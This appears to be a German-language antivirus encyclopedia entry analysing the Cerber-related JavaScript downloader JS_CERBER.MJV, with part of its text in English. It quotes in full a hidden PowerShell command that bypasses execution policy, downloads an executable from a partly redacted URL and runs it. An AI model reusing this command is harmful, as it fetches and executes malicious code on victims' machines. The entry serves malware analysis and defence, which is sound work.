JS_CERBER.MJV

Wird als Spam-Mail-Anhang durch andere Malware/Grayware/Spyware oder bösartige Benutzer übertragen.

Diese Malware hat keine Verbreitungsroutine.

Diese Malware hat keine Backdoor-Routine.

Zum Zeitpunkt der Fertigstellung dieses Dokuments sind die erwähnten Sites jedoch nicht zugänglich.

Diese Malware kann keine Daten stehlen.

Übertragungsdetails

Wird als Spam-Mail-Anhang durch andere Malware/Grayware/Spyware oder bösartige Benutzer übertragen.

Verbreitung

Diese Malware hat keine Verbreitungsroutine.

Backdoor-Routine

Diese Malware hat keine Backdoor-Routine.

Download-Routine

Speichert die heruntergeladenen Dateien unter den folgenden Namen:

• There are two methods used by this malware to download its intended malicious file:
  • “First method” is done by the malware by using the Native XMLHTTP (MS ActiveX Control). If successfully done, the malware will save the downloaded file using the following filename, then executes the file afterwards:
    • %Application Data%\Microsoft\Windows\Templates\{6 Random Numbers}.exe
    
    
  • If the “First method” did not work properly, the malware will proceed with the “Second method”, by also connecting to the same URL mentioned above to download the intended malicious file. However, in this method, the malware uses powershell command for the download routine:
    • powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('https://{BLOCKED}demy.com/wells/wellsfargo/get.php', '%User Profile%\AppData\Roaming211.exe'); start-process '%User Profile%\AppData\Roaming211.exe';
      
      If successfully done, the malware will save the downloaded file using the following filename, then executes the file afterwards:
      • %User Profile%\AppData\Roaming211.exe

Zum Zeitpunkt der Fertigstellung dieses Dokuments sind die erwähnten Sites jedoch nicht zugänglich.

Datendiebstahl

Diese Malware kann keine Daten stehlen.